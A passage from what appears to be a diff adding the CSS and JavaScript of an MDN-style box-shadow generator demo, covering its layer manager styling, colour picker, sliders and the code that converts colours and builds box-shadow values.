+	border-radius: 3px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#stack_container .container {
+	height: 100%;
+	width: 100%;
+	position: absolute;
+	left: 100%;
+	transition-property: left;
+	transition-duration: 0.5s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+#stack_container .title {
+	text-align: center;
+	font-weight: bold;
+	line-height: 2em;
+	border-bottom: 1px solid #43A6E1;
+	color: #666;
+}
+
+
+/*
+ * Stack of Layers for shadow
+ */
+
+#layer_manager {
+	width: 17%;
+	background-color: #FEFEFE;
+	margin: 0 1% 0 0;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+
+#layer_manager .button {
+	width: 30%;
+	height: 25px;
+	margin:0 0 10px;
+	color: #333;
+	background-color: #EEE;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	display: block;
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+#layer_manager .button:hover {
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_manager [data-type='add'] {
+	background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png");
+}
+
+#layer_manager [data-type='add']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png");
+}
+
+#layer_manager [data-type='move-up'] {
+	background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png");
+	margin-left: 5%;
+	margin-right: 5%;
+}
+
+#layer_manager [data-type='move-up']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png");
+}
+
+#layer_manager [data-type='move-down'] {
+	background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png");
+}
+
+#layer_manager [data-type='move-down']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png");
+}
+
+/* shadows classes */
+
+#layer_manager .node {
+	width: 100%;
+	margin: 5px 0;
+	padding: 5px;
+	text-align: center;
+	background-color: #EEE;
+	border: 1px solid #DDD;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	color: #333;
+	border-radius: 3px;
+
+	position: relative;
+	display: block;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_manager .node:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	cursor: pointer;
+}
+
+/* active element styling */
+
+#layer_manager [data-active='layer'] {
+	color: #FFF;
+	border: none;
+	background-color: #379B4A;
+}
+
+#layer_manager [data-active='subject'] {
+	color: #FFF;
+	background-color: #467FC9;
+}
+
+/* delete button */
+
+#layer_manager .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 10px;
+	display: none;
+}
+
+#layer_manager .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_manager .node:hover .delete {
+	display: block;
+}
+
+
+#layer_manager .stack {
+	padding: 0 5px;
+	max-height: 90%;
+	overflow: auto;
+	overflow-x: hidden;
+}
+
+
+/*
+ * Layer Menu
+ */
+
+#layer_menu {
+	margin: 0 0 10px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button {
+	width: 100px;
+	margin: 0 5px 0 0;
+	padding: 2.5px;
+	color: #333;
+	background-color: #EEE;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+
+	position: relative;
+	display: block;
+	float: left;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_menu .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 5px;
+	display: none;
+}
+
+#layer_menu .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_menu .button:hover .delete {
+	display: block;
+}
+
+
+/*
+ * active element styling
+ */
+
+#layer_menu [data-active='subject'] {
+	color: #FFF;
+	background-color: #379B4A;
+	border: 1px solid #379B4A;
+}
+
+
+/* Checkbox */
+
+#layer_menu .ui-checkbox > label {
+	height: 15px;
+	line-height: 17px;
+	font-weight: normal;
+	width: 46px;
+	margin: 0 5px 0 0;
+}
+
+#layer_menu .ui-checkbox > input:checked + label {
+	display: none;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview_zone {
+	width: 82%;
+	float: left;
+
+}
+
+
+#preview {
+	width: 100%;
+	height: 400px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	cursor: move;
+	float: left;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#obj-element {
+	width: 300px;
+	height: 100px;
+	border: 1px solid #CCC;
+	background: #FFF;
+	position: relative;
+}
+
+
+#obj-before {
+	height: 100%;
+	width: 100%;
+	background: #999;
+	border: 1px solid #CCC;
+	text-align: left;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+#obj-after {
+	height: 100%;
+	width: 100%;
+	background: #DDD;
+	border: 1px solid #CCC;
+	text-align: right;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/**
+ * Controls
+ */
+
+.wrap-left {
+	float: left;
+	overflow: hidden;
+}
+
+.wrap-right {
+	float: right;
+	overflow: hidden;
+}
+
+.wrap-left > * {
+	float: left;
+}
+
+.wrap-right > * {
+	float: right;
+}
+
+@media (min-width: 960px) {
+
+	.wrap-left {
+		width: 45%;
+	}
+
+	.wrap-right {
+		width: 55%;
+	}
+}
+
+
+@media (max-width: 959px) {
+
+	.wrap-left {
+		width: 30%;
+	}
+
+	.wrap-right {
+		width: 70%;
+	}
+}
+
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+
+#controls .category {
+	width: 500px;
+	margin: 0 auto 20px;
+	padding: 0;
+
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 1.5em;
+	line-height: 1.5em;
+	color: #AAA;
+	text-align: right;
+}
+
+#controls .category > .group {
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+
+/**
+ * 	Color Picker
+ */
+
+@media (min-width: 960px) {
+	#controls .colorpicker {
+		width: 420px;
+	}
+}
+
+@media (max-width: 959px) {
+	#controls .colorpicker {
+		width: 210px;
+	}
+}
+
+#colorpicker {
+	width: 100%;
+	margin: 0 auto;
+}
+
+#colorpicker .gradient {
+	width: 200px;
+	height: 200px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png");
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background-color: #F00;
+	float: left;
+}
+
+#colorpicker .hue {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png");
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	float: left;
+}
+
+#colorpicker .alpha {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	border: 1px solid #CCC;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker #alpha {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png");
+	background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%);
+}
+
+#colorpicker #gradient_picker {
+	width: 0.5em;
+	height: 0.5em;
+	border-radius: 0.4em;
+	border: 2px solid #CCC;
+	position: relative;
+	top: 20%;
+	left: 20%;
+}
+
+#colorpicker #hue_selector,
+#colorpicker #alpha_selector {
+	width: 3px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+	left: 0%;
+}
+
+/* input HSV and RGB */
+#colorpicker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+#colorpicker .info * {
+	float: left;
+}
+
+#colorpicker .info input {
+	margin: 0;
+	text-align: center;
+	width: 30px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#colorpicker .info span {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	line-height: 20px;
+	display: block;
+}
+
+/* Preview color */
+#colorpicker .block {
+	width: 95px;
+	height: 54px;
+	float: left;
+	position: relative;
+}
+
+#colorpicker .preview {
+	margin: 5px;
+	border: 1px solid #CCC;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+#colorpicker .preview > * {
+	width: 50%;
+	height: 100%;
+}
+
+#colorpicker #output_color {
+	width: 100%;
+	height: 100%;
+	position: absolute;
+	z-index: 2;
+}
+
+#colorpicker .block .input {
+	float: right;
+}
+
+#colorpicker [data-topic="a"] > span {
+	width: 50px;
+}
+
+#colorpicker [data-topic="hexa"] {
+	float: right;
+	margin: 10px 0 0 0;
+}
+
+#colorpicker [data-topic="hexa"] > span {
+	display: none;
+}
+
+#colorpicker [data-topic="hexa"] > input {
+	width: 85px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/*
+ * UI Components
+ */
+
+/* Property */
+
+.property {
+	height: 20px;
+	margin: 10px 0;
+}
+
+.property * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+#controls .ui-slider-name {
+	margin: 0 10px 0 0;
+}
+
+/*
+ * Output code styling
+ */
+
+#output {
+	position: relative;
+}
+
+#output .menu {
+	max-width: 70%;
+	height: 20px;
+	position: absolute;
+	top: 2px;
+}
+
+#output .button {
+	width: 90px;
+	height: 22px;
+	margin: 0 5px 0 0;
+	text-align: center;
+	line-height: 20px;
+	font-size: 14px;
+	color: #FFF;
+	background-color: #999;
+	border-top-left-radius: 3px;
+	border-top-right-radius: 3px;
+	bottom: -5px;
+	float:left;
+}
+
+#output .button:hover {
+	color: #FFF;
+	background-color: #666;
+	cursor: pointer;
+}
+
+#output .menu [data-active="true"] {
+	color: #777;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+	border-bottom: none;
+}
+
+#output .menu [data-topic="before"] {
+	left: 100px;
+}
+
+#output .menu [data-topic="after"] {
+	left: 200px;
+}
+
+#output .output {
+	width: 480px;
+	margin: 10px;
+	padding: 10px;
+	overflow: hidden;
+	color: #555;
+	font-size: 14px;
+	border: 1px dashed #CCC;
+	border-radius: 3px;
+	display: none;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#output .css-property {
+	width: 100%;
+	float: left;
+	white-space: pre;
+}
+
+#output .name {
+	width: 35%;
+	float: left;
+}
+
+#output .value {
+	width: 65%;
+	float: left;
+}
+
+
+ +

JavaScript Content

+ +

+
+'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var SliderManager = (function SliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var Slider = function(node) {
+		var min = node.getAttribute('data-min') | 0;
+		var max = node.getAttribute('data-max') | 0;
+		var step = node.getAttribute('data-step') | 0;
+		var value = node.getAttribute('data-value') | 0;
+		var snap = node.getAttribute('data-snap');
+		var topic = node.getAttribute('data-topic');
+
+		this.min = min;
+		this.max = max > 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.value = value <= max && value >= min ? value : (min + max) / 2 | 0;
+		this.snap = snap === "true" ? true : false;
+		this.topic = topic;
+		this.node = node;
+
+		var pointer = document.createElement('div');
+		pointer.className = 'ui-slider-pointer';
+		node.appendChild(pointer);
+		this.pointer = pointer;
+
+		setMouseTracking(node, updateSlider.bind(this));
+
+		sliders[topic] = this;
+		setValue(topic, this.value);
+	}
+
+	var setButtonComponent = function setButtonComponent(node) {
+		var type = node.getAttribute('data-type');
+		var topic = node.getAttribute('data-topic');
+		if (type === "sub") {
+			node.textContent = '-';
+			node.addEventListener("click", function() {
+				decrement(topic);
+			});
+		}
+		if (type === "add") {
+			node.textContent = '+';
+			node.addEventListener("click", function() {
+				increment(topic);
+			});
+		}
+	}
+
+	var setInputComponent = function setInputComponent(node) {
+		var topic		= node.getAttribute('data-topic');
+		var unit_type	= node.getAttribute('data-unit');
+
+		var input = document.createElement('input');
+		var unit = document.createElement('span');
+		unit.textContent = unit_type;
+
+		input.setAttribute('type', 'text');
+		node.appendChild(input);
+		node.appendChild(unit);
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			setValue(topic, e.target.value | 0);
+		});
+
+		subscribe(topic, function(value) {
+			node.children[0].value = value;
+		});
+	}
+
+	var increment = function increment(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value + slider.step <= slider.max) {
+			slider.value += slider.step;
+			setValue(slider.topic, slider.value)
+			notify.call(slider);
+		}
+	};
+
+	var decrement = function decrement(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value - slider.step >= slider.min) {
+			slider.value -= slider.step;
+			setValue(topic, slider.value)
+			notify.call(slider);
+		}
+	}
+
+	// this = Slider object
+	var updateSlider = function updateSlider(e) {
+		var node = this.node;
+		var pos = e.pageX - node.offsetLeft;
+		var width = node.clientWidth;
+		var delta = this.max - this.min;
+		var offset = this.pointer.clientWidth + 4; // border width * 2
+
+		if (pos < 0) pos = 0;
+		if (pos > width) pos = width;
+
+		var value = pos * delta / width | 0;
+		var precision = value % this.step;
+		value = value - precision + this.min;
+		if (precision > this.step / 2)
+			value = value + this.step;
+
+		if (this.snap)
+			pos =  (value - this.min) * width / delta;
+
+		this.pointer.style.left = pos - offset/2 + "px";
+		this.value = value;
+		node.setAttribute('data-value', value);
+		notify.call(this);
+	}
+
+	var setValue = function setValue(topic, value) {
+		var slider = sliders[topic];
+
+		if (value > slider.max || value < slider.min)
+			return;
+
+		var delta = slider.max - slider.min;
+		var width = slider.node.clientWidth;
+		var offset = slider.pointer.clientWidth;
+		var pos =  (value - slider.min) * width / delta;
+		slider.value = value;
+		slider.pointer.style.left = pos - offset / 2 + "px";
+		slider.node.setAttribute('data-value', value);
+		notify.call(slider);
+	}
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener("mousedown", function(e) {
+			callback(e);
+			document.addEventListener("mousemove", callback);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", callback);
+		});
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-slider-btn-set');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			setButtonComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider-input');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			setInputComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			new Slider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+			notify.call(buttons[topic]);
+		}
+		catch(error) {
+			console.log(error, topic, value);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function(){
+	BoxShadow.init();
+});
+
+var BoxShadow = (function BoxShadow() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * RGBA Color class
+	 */
+
+	function Color() {
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log("Typeof instance not Color");
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+	}
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (red != undefined)
+			this.r = red | 0;
+		if (green != undefined)
+			this.g = green | 0;
+		if (blue != undefined)
+			this.b = blue | 0;
+		if (alpha != undefined)
+			this.a = alpha | 0;
+	}
+
+	/**
+	 * HSV/HSB (hue, saturation, value / brightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 */
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.updateRGB();
+	}
+
+	Color.prototype.updateRGB = function updateRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision;
+		X = (X + m) * precision;
+		m = m * precision;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	}
+
+	Color.prototype.updateHSV = function updateHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	}
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value)
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3");
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+	}
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r < 16) r = '0' + r;
+		if (this.g < 16) g = '0' + g;
+		if (this.b < 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	}
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = "(" + this.r + ", " + this.g + ", " + this.b;
+		var a = '';
+		var v = '';
+		if (this.a !== 1) {
+			a = 'a';
+			v = ', ' + this.a;
+		}
+
+		var value = "rgb" + a + rgb + v + ")";
+		return value;
+	}
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	}
+
+	/**
+	 * Shadow Object
+	 */
+	function Shadow() {
+		this.inset  = false;
+		this.posX   = 5;
+		this.posY   = -5;
+		this.blur   = 5;
+		this.spread = 0;
+		this.color  = new Color();
+
+		var hue			= (Math.random() * 360) | 0;
+		var saturation	= (Math.random() * 75) | 0;
+		var value 		= (Math.random() * 50 + 50) | 0;
+		this.color.setHSV(hue, saturation, value, 1);
+	}
+
+	Shadow.prototype.computeCSS = function computeCSS() {
+		var value = "";
+		if (this.inset === true)
+			value += "inset ";
+		value += this.posX + "px ";
+		value += this.posY + "px ";
+		value += this.blur + "px ";
+		value += this.spread + "px ";
+		value += this.color.getColor();
+
+		return value;
+	}
+
+	Shadow.prototype.toggleInset = function toggleInset(value) {
+		if (value !== undefined || typeof value === "boolean")
+			this.inset = value;
+		else
+			this.inset = this.inset === true ? false : true;
+	}
+
+	Shadow.prototype.copy = function copy(obj) {
+		if(obj instanceof Shadow !== true) {
+			console.log("Typeof instance not Shadow");
+			return;
+		}
+
+		this.inset  = obj.inset;
+		this.posX   = obj.posX;
+		this.posY   = obj.posY;
+		this.blur   = obj.blur;
+		this.spread = obj.spread;
+		this.color.copy(obj.color);
+	}
+
+	/**
+	 * Color Picker
+	 */
+	var ColoPicker = (function ColoPicker() {
+
+		var colorpicker;
+		var hue_area;
+		var gradient_area;
+		var alpha_area;
+		var gradient_picker;
+		var hue_selector;
+		var alpha_selector;
+		var pick_object;
+		var info_rgb;
+		var info_hsv;
+		var info_hexa;
+		var output_color;
+		var color = new Color();
+		var subscribers = [];
+
+		var updateColor = function updateColor(e) {
+			var x = e.pageX - gradient_area.offsetLeft;
+			var y = e.pageY - gradient_area.offsetTop;
+
+			// width and height should be the same
+			var size = gradient_area.clientWidth;
+
+			if (x > size)
+				x = size;
+			if (y > size)
+				y = size;
+
+			if (x < 0) x = 0;
+			if (y < 0) y = 0;
+
+			var value = 100 - (y * 100 / size) | 0;
+			var saturation = x * 100 / size | 0;
+
+			color.setHSV(color.hue, saturation, value);
+			// should update just
+			// color pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateHue = function updateHue(e) {
+			var x = e.pageX - hue_area.offsetLeft;
+			var width = hue_area.clientWidth;
+
+			if (x < 0) x = 0;
+			if (x > width) x = width;
+
+			var hue = ((360 * x) / width) | 0;
+			if (hue === 360) hue = 359;
+
+			color.setHSV(hue, color.saturation, color.value);
+
+			// should update just
+			// hue pointer location
+			// picker area background
+			// alpha area background
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateAlpha = function updateAlpha(e) {
+			var x = e.pageX - alpha_area.offsetLeft;
+			var width = alpha_area.clientWidth;
+
+			if (x < 0) x = 0;
+			if (x > width) x = width;
+
+			color.a = (x / width).toFixed(2);
+
+			// should update just
+			// alpha pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var setHueGfx = function setHueGfx(hue) {
+			var sat = color.saturation;
+			var val = color.value;
+			var alpha = color.a;
+
+			color.setHSV(hue, 100, 100);
+			gradient_area.style.backgroundColor = color.getHexa();
+
+			color.a = 0;
+			var start = color.getRGBA();
+			color.a = 1;
+			var end = color.getRGBA();
+			color.a = alpha;
+
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+		}
+
+		var updateUI = function updateUI() {
+			var x, y;		// coordinates
+			var size;		// size of the area
+			var offset;		// pointer graphic selector offset
+
+			// Set color pointer location
+			size = gradient_area.clientWidth;
+			offset = gradient_picker.clientWidth / 2 + 2;
+
+			x = (color.saturation * size / 100) | 0;
+			y = size - (color.value * size / 100) | 0;
+
+			gradient_picker.style.left = x - offset + "px";
+			gradient_picker.style.top = y - offset + "px";
+
+			// Set hue pointer location
+			size = hue_area.clientWidth;
+			offset = hue_selector.clientWidth/2;
+			x = (color.hue * size / 360 ) | 0;
+			hue_selector.style.left = x - offset + "px";
+
+			// Set alpha pointer location
+			size = alpha_area.clientWidth;
+			offset = alpha_selector.clientWidth/2;
+			x = (color.a * size) | 0;
+			alpha_selector.style.left = x - offset + "px";
+
+			// Set picker area background
+			var nc = new Color();
+			nc.copy(color);
+			if (nc.hue === 360) nc.hue = 0;
+			nc.setHSV(nc.hue, 100, 100);
+			gradient_area.style.backgroundColor = nc.getHexa();
+
+			// Set alpha area background
+			nc.copy(color);
+			nc.a = 0;
+			var start = nc.getRGBA();
+			nc.a = 1;
+			var end = nc.getRGBA();
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+
+			// Update color info
+			notify("color", color);
+			notify("hue", color.hue);
+			notify("saturation", color.saturation);
+			notify("value", color.value);
+			notify("r", color.r);
+			notify("g", color.g);
+			notify("b", color.b);
+			notify("a", color.a);
+			notify("hexa", color.getHexa());
+			output_color.style.backgroundColor = color.getRGBA();
+		}
+
+		var setInputComponent = function setInputComponent(node) {
+			var topic = node.getAttribute('data-topic');
+			var title = node.getAttribute('data-title');
+			var action = node.getAttribute('data-action');
+			title = title === null ? '' : title;
+
+			var input = document.createElement('input');
+			var info = document.createElement('span');
+			info.textContent = title;
+
+			input.setAttribute('type', 'text');
+			input.setAttribute('data-action', 'set-' + action + '-' + topic);
+			node.appendChild(info);
+			node.appendChild(input);
+
+			input.addEventListener('click', function(e) {
+				this.select();
+			});
+
+			input.addEventListener('change', function(e) {
+				if (action === 'HSV')
+					inputChangeHSV(topic);
+				if (action === 'RGB')
+					inputChangeRGB(topic);
+				if (action === 'alpha')
+					inputChangeAlpha(topic);
+				if (action === 'hexa')
+					inputChangeHexa(topic);
+			});
+
+			subscribe(topic, function(value) {
+				node.children[1].value = value;
+			});
+		}
+
+		var inputChangeHSV = function actionHSV(topic) {
+			var selector = "[data-action='set-HSV-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value < 360)
+				color[topic] = value;
+
+			color.updateRGB();
+			updateUI();
+		}
+
+		var inputChangeRGB = function inputChangeRGB(topic) {
+			var selector = "[data-action='set-RGB-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
